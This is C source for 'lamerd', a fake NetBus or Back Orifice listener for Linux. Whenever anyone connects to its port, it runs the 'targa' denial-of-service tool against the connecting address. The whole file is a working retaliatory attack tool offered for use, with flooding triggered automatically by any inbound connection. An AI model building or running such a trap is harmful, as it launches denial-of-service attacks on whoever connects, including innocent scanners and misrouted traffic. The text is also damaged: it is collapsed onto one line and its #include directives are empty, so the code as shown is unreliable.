/* lamerd by konrad */ /* fake netbus or back orifice flavour for */ /* your linux box! lamers will appreciate this! */ /* PS: you'll need targa for this to work */ /* PS2: bash users have to change >& with 2> in */ /* line 97 */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define MAXCHAR 80 void wait_exit_status() { wait(0); signal(SIGCHLD,wait_exit_status); } char *lconverter(unsigned long int ip_longint) { struct in_addr lamer_client; lamer_client.s_addr=ip_longint; return inet_ntoa(lamer_client); } int main(int argc,char *argv[]) { struct sockaddr_in client, server; int client_len,tcpsock,descr; unsigned short int port; char cmd[MAXCHAR],address[MAXCHAR]; if(argc==1) { printf("\n%s [--netbus] [--backorifice] [--custom custom_port]\n\n",argv[0]); return(0); } else { if(strcmp(argv[1],"--netbus")==0) port=12345; else if(strcmp(argv[1],"--backorifice")==0) port=31337; else if(strcmp(argv[1],"--custom")==0) port=atoi(argv[2]); else { printf("\n%s [--netbus] [--backorifice] [--custom custom_port]\n\n",argv[0]); return(0); } signal(SIGCHLD,wait_exit_status); tcpsock = socket(AF_INET,SOCK_STREAM,0); if (tcpsock<0) { perror("\nsocket error"); printf("\n"); exit(-1); } server.sin_family = AF_INET; server.sin_addr.s_addr = htonl(INADDR_ANY); server.sin_port = htons(port); if (bind(tcpsock,(struct sockaddr*)&server,sizeof(server))<0) { perror("\nbind failed"); printf("\n"); exit(-1); } if(listen(tcpsock,4)==-1) { perror("\nlisten failed"); printf("\n"); exit(6); } while(1) { client_len=sizeof(client); while((descr=accept(tcpsock,(struct sockaddr *)&client,&client_len))<0) { if(errno!=EINTR) { perror("\naccepting connection"); printf("\n"); } } if(fork()==0) { close(tcpsock); strcpy(address,lconverter(client.sin_addr.s_addr)); sprintf(cmd,"targa %s %s -n 10 >&/dev/null",address,address); printf("%s\n",address); fflush(stdout); system(cmd); exit(0); } else { close(descr); } } } }